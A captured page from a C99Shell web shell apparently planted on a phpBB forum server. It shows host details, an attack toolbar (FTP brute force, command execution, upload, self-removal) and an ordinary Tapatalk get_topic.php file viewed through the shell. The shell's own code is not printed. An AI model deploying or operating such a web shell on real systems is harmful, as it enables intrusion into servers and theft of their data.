!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpbb3/mobiquo/function/   drwxrwxr-x
Free 83.36 GB of 96.73 GB (86.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     get_topic.php (15.34 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*
* @copyright (c) 2009 Quoord Systems Limited
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

defined('IN_MOBIQUO') or exit;

function 
get_topic_func($xmlrpc_params)
{
    global 
$db$auth$user$config;

    
$params php_xmlrpc_decode($xmlrpc_params);
    
    
$start_num  0;
    
$end_num    19;
    
$topic_type '';
    
    if (!isset(
$params[0]))     // forum id undefine
    
{
        return 
get_error(1);
    }
    else if (
$params[0] === 0)  // forum id equal 0
    
{
        return 
get_error(3);
    }

    
// get forum id from parameters
    
$forum_id intval($params[0]);
    
    
// get start index of topic from parameters
    
if (isset($params[1]) && is_int($params[1]))
    {
        
$start_num $params[1];
    }
    
    
// get end index of topic from parameters
    
if (isset($params[2]) && is_int($params[2]))
    {
        
$end_num $params[2];
    }
    
    
// check if topic index is out of range
    
if ($start_num $end_num)
    {
        return 
get_error(5);
    }
    
    
// return at most 50 topics
    
if ($end_num $start_num >= 50)
    {
        
$end_num $start_num 49;
    }

    
// check if need sticky/announce topic only
    
if (isset($params[3]))
    {
        
// check if need sticky topic only
        
if ($params[3] == 'TOP')
        {
            
$topic_type POST_STICKY;
            
$start_num  0;
            
$end_num    19;
        }
        
// check if need announce topic only
        
else if ($params[3] == 'ANN')
        {
            
$topic_type POST_ANNOUNCE ', ' POST_GLOBAL;
            
$start_num  0;
            
$end_num    19;
        }
    }

//    $default_sort_days  = (!empty($user->data['user_topic_show_days'])) ? $user->data['user_topic_show_days'] : 0;
//    $default_sort_key   = (!empty($user->data['user_topic_sortby_type'])) ? $user->data['user_topic_sortby_type'] : 't';
//    $default_sort_dir   = (!empty($user->data['user_topic_sortby_dir'])) ? $user->data['user_topic_sortby_dir'] : 'd';
//    
//    $sort_days  = request_var('st', $default_sort_days); // default to get all topic
//    $sort_key   = request_var('sk', $default_sort_key);  // default sort by last post time
//    $sort_dir   = request_var('sd', $default_sort_dir);  // default sort as DESC
    
    
$sort_days 0;
    
$sort_key  't';
    
$sort_dir  'd';

    
//------- Grab appropriate forum data --------        
    
$sql "SELECT f.* FROM " FORUMS_TABLE " f WHERE f.forum_id = $forum_id";
    
$result $db->sql_query($sql);
    
$forum_data $db->sql_fetchrow($result);
    
$db->sql_freeresult($result);    

    
// Forum does not exist
    
if (!$forum_data)
    {
        return 
get_error(3);
    }
    
    
// Can not get topics from link forum
    
if ($forum_data['forum_type'] == FORUM_LINK)
    {
        return 
get_error(4);
    }
    
    
// Permissions check
    
if (!$auth->acl_gets('f_list''f_read'$forum_id))
    {
        return 
get_error(2);
    }
    
    if (!
$auth->acl_get('f_read'$forum_id))
    {
        return 
get_error(2);
    }
    
    
    
// Forum is passworded
    
if ($forum_data['forum_password'] && !check_forum_password($forum_id))
    {
        return 
get_error(6);
    }

    
// Topic ordering options
    
$sort_by_sql = array('a' => 't.topic_first_poster_name'
                         
't' => 't.topic_last_post_time',   // default one
                         
'r' => 't.topic_replies'
                         
's' => 't.topic_title'
                         
'v' => 't.topic_views');
    
    
// Limit topics to certain time frame, obtain correct topic count
    // global announcements must not be counted, normal announcements have to
    // be counted, as forum_topics(_real) includes them
    
    
$sql_approved = ($auth->acl_get('m_approve'$forum_id)) ? '' ' AND t.topic_approved = 1 ';

    
// Get all shadow topics in this forum
    
$sql 'SELECT t.topic_moved_id, t.topic_id
            FROM ' 
TOPICS_TABLE ' t
            WHERE t.forum_id = ' 
$forum_id '
            AND t.topic_type IN (' 
POST_NORMAL ', ' POST_STICKY ', ' POST_ANNOUNCE ', ' POST_GLOBAL ')
            AND t.topic_status = ' 
ITEM_MOVED ' ' .
            
$sql_approved;
    
$result $db->sql_query($sql);
    
    
$shadow_topic_list = array();
    while (
$row $db->sql_fetchrow($result))
    {
        
$shadow_topic_list[$row['topic_moved_id']] = $row['topic_id'];
    }
    
$db->sql_freeresult($result);

    
// Pick out those shadow topics that the user has no permission to access
    
if (!empty($shadow_topic_list))
    {
        
$sql 'SELECT t.topic_id, t.forum_id
                FROM ' 
TOPICS_TABLE ' t
                WHERE ' 
$db->sql_in_set('t.topic_id'array_keys($shadow_topic_list));
        
$result $db->sql_query($sql);
        
        while (
$row $db->sql_fetchrow($result))
        {
            if (
$auth->acl_get('f_read'$row['forum_id']))
            {
                unset(
$shadow_topic_list[$row['topic_id']]);
            }
        }
        
$db->sql_freeresult($result);
    }

    
// Grab all topic data
    
$topic_list = array();
    
    
$sql_limit $end_num $start_num 1;  // num of topics needs to be return, default is 20, at most 50
    
$sql_sort_order $sort_by_sql[$sort_key] . ' ' . (($sort_dir == 'd') ? 'DESC' 'ASC');
    
$sql_shadow_out = empty($shadow_topic_list) ? '' 'AND ' $db->sql_in_set('t.topic_moved_id'$shadow_topic_listtrue);
    
    
$unread_sticky_num $unread_announce_count 0;
    if (!empty(
$topic_type)) // get top 20 announce/sticky topics only if need
    
{
        
$sql 'SELECT t.*, tw.notify_status, bm.topic_id as bookmarked
                FROM ' 
TOPICS_TABLE ' t
                    LEFT JOIN ' 
TOPICS_WATCH_TABLE ' tw ON (tw.user_id = ' $user->data['user_id'] . ' AND t.topic_id = tw.topic_id) 
                    LEFT JOIN ' 
BOOKMARKS_TABLE ' bm ON (bm.user_id = ' $user->data['user_id'] . ' AND t.topic_id = bm.topic_id) 
                WHERE t.forum_id IN (' 
$forum_id ', 0)
                AND t.topic_type IN (' 
$topic_type ') ' .
                
$sql_shadow_out ' ' .
                
$sql_approved '
                ORDER BY ' 
$sql_sort_order;
        
$result $db->sql_query_limit($sql$sql_limit$start_num);
    }
    else    
// get normal topics from $start_num to $end_num
    
{
        
// get total number of unread sticky topics number
        
$sql 'SELECT t.topic_id, t.topic_last_post_time
                FROM ' 
TOPICS_TABLE ' t
                WHERE t.forum_id = ' 
$forum_id.'
                AND t.topic_type = ' 
POST_STICKY ' ' .
                
$sql_shadow_out ' ' .
                
$sql_approved;
        
$result $db->sql_query($sql);
        while (
$row $db->sql_fetchrow($result))
        {
            
$topic_tracking get_complete_topic_tracking($forum_id$row['topic_id']);
            if (
$topic_tracking[$row['topic_id']] < $row['topic_last_post_time'])
                
$unread_sticky_num++;
        }
        
$db->sql_freeresult($result);
        
        
// get total number of unread announce topics number
        
$sql 'SELECT t.topic_id, t.topic_last_post_time
                FROM ' 
TOPICS_TABLE ' t
                WHERE t.forum_id IN (' 
$forum_id ', 0)
                AND t.topic_type IN (' 
POST_ANNOUNCE ', ' POST_GLOBAL ') ' .
                
$sql_shadow_out ' ' .
                
$sql_approved;
        
$result $db->sql_query($sql);
        while (
$row $db->sql_fetchrow($result))
        {
            
$topic_tracking get_complete_topic_tracking($forum_id$row['topic_id']);
            if (
$topic_tracking[$row['topic_id']] < $row['topic_last_post_time'])
                
$unread_announce_count++;
        }
        
$db->sql_freeresult($result);
        
        
// get total number of normal topics
        
$sql 'SELECT count(t.topic_id) AS num_topics
                FROM ' 
TOPICS_TABLE ' t
                WHERE t.forum_id = ' 
$forum_id.'
                AND t.topic_type = ' 
POST_NORMAL ' ' .
                
$sql_shadow_out ' ' .
                
$sql_approved;
        
$result $db->sql_query($sql);
        
$topics_count = (int) $db->sql_fetchfield('num_topics');
        
$db->sql_freeresult($result);
                
        
// If the user is trying to reach late pages, start searching from the end
        
$store_reverse false;

        if (
$start_num $topics_count 2)
        {
            
$store_reverse true;
        
            if (
$start_num $sql_limit $topics_count)
            {
                
$sql_limit min($sql_limitmax(1$topics_count $start_num));
            }
            
            
// Select the sort order
            
$sql_sort_order $sort_by_sql[$sort_key] . ' ' . (($sort_dir == 'd') ? 'ASC' 'DESC');
            
$start_num max(0$topics_count $sql_limit $start_num);
        }
        
        
$sql 'SELECT t.*, u.user_avatar, u.user_avatar_type, tw.notify_status, bm.topic_id as bookmarked
                FROM ' 
TOPICS_TABLE ' t
                    LEFT JOIN ' 
USERS_TABLE ' u ON (t.topic_poster = u.user_id)
                    LEFT JOIN ' 
TOPICS_WATCH_TABLE ' tw ON (tw.user_id = ' $user->data['user_id'] . ' AND t.topic_id = tw.topic_id) 
                    LEFT JOIN ' 
BOOKMARKS_TABLE ' bm ON (bm.user_id = ' $user->data['user_id'] . ' AND t.topic_id = bm.topic_id) 
                WHERE t.forum_id = ' 
$forum_id.'
                AND t.topic_type = ' 
POST_NORMAL ' ' .
                
$sql_shadow_out ' ' .
                
$sql_approved '
                ORDER BY ' 
$sql_sort_order;

        
$result $db->sql_query_limit($sql$sql_limit$start_num);
    }

    
$rowset = array();
    while (
$row $db->sql_fetchrow($result))
    {
        
$rowset[] = $row;
    }
    
$db->sql_freeresult($result);
    
    
$topic_list = array();
    foreach(
$rowset as $row)
    {        
        
$replies = ($auth->acl_get('m_approve'$forum_id)) ? $row['topic_replies_real'] : $row['topic_replies'];
        
$short_content get_short_content($row['topic_first_post_id']);
        
$user_avatar_url get_user_avatar_url($row['user_avatar'], $row['user_avatar_type']);
        
$topic_tracking get_complete_topic_tracking($forum_id$row['topic_id']);
        
$new_post $topic_tracking[$row['topic_id']] < $row['topic_last_post_time'] ? true false;
        
        
$allow_change_type = ($auth->acl_get('m_'$forum_id) || ($user->data['is_registered'] && $user->data['user_id'] == $row['topic_poster'])) ? true false;

        
$xmlrpc_topic = new xmlrpcval(array(
            
'forum_id'          => new xmlrpcval($forum_id),
            
'topic_id'          => new xmlrpcval($row['topic_moved_id'] ? $row['topic_moved_id'] : $row['topic_id']),
            
'topic_title'       => new xmlrpcval(html_entity_decode(strip_tags(censor_text($row['topic_title'])), ENT_QUOTES'UTF-8'), 'base64'),
            
'topic_author_id'   => new xmlrpcval($row['topic_first_post_id']),
            
'topic_author_name' => new xmlrpcval(html_entity_decode($row['topic_first_poster_name']), 'base64'),
            
'last_reply_time'   => new xmlrpcval(mobiquo_iso8601_encode($row['topic_last_post_time']),'dateTime.iso8601'),
            
'reply_number'      => new xmlrpcval($replies'int'),
            
'view_number'       => new xmlrpcval($row['topic_views'], 'int'),
            
'short_content'     => new xmlrpcval($short_content'base64'),
            
'new_post'          => new xmlrpcval($new_post'boolean'),
            
'icon_url'          => new xmlrpcval($user_avatar_url),
            
'can_delete'        => new xmlrpcval($auth->acl_get('m_delete'$forum_id), 'boolean'),
            
'can_subscribe'     => new xmlrpcval(($config['email_enable'] || $config['jab_enable']) && $config['allow_topic_notify'] && $user->data['is_registered'], 'boolean'), 
            
'can_bookmark'      => new xmlrpcval($user->data['is_registered'] && $config['allow_bookmarks'], 'boolean'),
            
'issubscribed'      => new xmlrpcval(!is_null($row['notify_status']) && $row['notify_status'] !== '' true false'boolean'),
            
'is_subscribed'     => new xmlrpcval(!is_null($row['notify_status']) && $row['notify_status'] !== '' true false'boolean'),
            
'isbookmarked'      => new xmlrpcval($row['bookmarked'] ? true false'boolean'),
            
'can_close'         => new xmlrpcval($auth->acl_get('m_lock'$forum_id) || ($auth->acl_get('f_user_lock'$forum_id) && $user->data['is_registered'] && $user->data['user_id'] == $row['topic_poster']), 'boolean'),
            
'is_closed'         => new xmlrpcval($row['topic_status'] == ITEM_LOCKED'boolean'),
            
'can_stick'         => new xmlrpcval($allow_change_type && $auth->acl_get('f_sticky'$forum_id) && $row['topic_type'] != POST_STICKY'boolean'),
            
'to_normal'         => new xmlrpcval($allow_change_type && $auth->acl_gets('f_sticky''f_announce'$forum_id) && $row['topic_type'] != POST_NORMAL'boolean'),
            
'can_move'          => new xmlrpcval($auth->acl_get('m_move'$forum_id), 'boolean'),
            
            
'attachment'        => new xmlrpcval($auth->acl_get('u_download') && $auth->acl_get('f_download'$forum_id) && $row['topic_attachment'] ? 0'string'),
        ), 
'struct');
        
        
$topic_list[] = $xmlrpc_topic;
        unset(
$xmlrpc_topic);
    }

    if (
$store_reverse)
    {
        
$topic_list array_reverse($topic_list);
    }

    if (!empty(
$topic_type))
    {
        
$topic_num count($topic_list);
    }
    else
    {
        
$topic_num $topics_count;
    }
    
    
$allowed $config['max_attachments'] && $auth->acl_get('f_attach'$forum_id) && $auth->acl_get('u_attach') && $config['allow_attachments'] && @ini_get('file_uploads') != '0' && strtolower(@ini_get('file_uploads')) != 'off';
    
$max_attachment = ($auth->acl_get('a_') || $auth->acl_get('m_'$forum_id)) ? 99 : ($allowed $config['max_attachments'] : 0);
    
$max_png_size = ($auth->acl_get('a_') || $auth->acl_get('m_'$forum_id)) ? 1048576 : ($allowed $config['max_filesize'] : 0);
    
$max_jpg_size = ($auth->acl_get('a_') || $auth->acl_get('m_'$forum_id)) ? 1048576 : ($allowed $config['max_filesize'] : 0);
    
    
$response = new xmlrpcval(
        array(
            
'total_topic_num' => new xmlrpcval($topic_num'int'),
            
'unread_sticky_count'   => new xmlrpcval($unread_sticky_num'int'),
            
'unread_announce_count' => new xmlrpcval($unread_announce_count'int'),
            
'forum_id'        => new xmlrpcval($forum_id'string'),
            
'forum_name'      => new xmlrpcval(html_entity_decode($forum_data['forum_name']), 'base64'),
            
'can_post'        => new xmlrpcval($auth->acl_get('f_post'$forum_id), 'boolean'),
            
'can_upload'      => new xmlrpcval($allowed'boolean'),
            
'max_attachment'  => new xmlrpcval($max_attachment'int'),
            
'max_png_size'    => new xmlrpcval($max_png_size'int'),
            
'max_jpg_size'    => new xmlrpcval($max_jpg_size'int'),
            
'topics'          => new xmlrpcval($topic_list'array'),
        ),
        
'struct'
    
);

    return new 
xmlrpcresp($response);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0037 ]--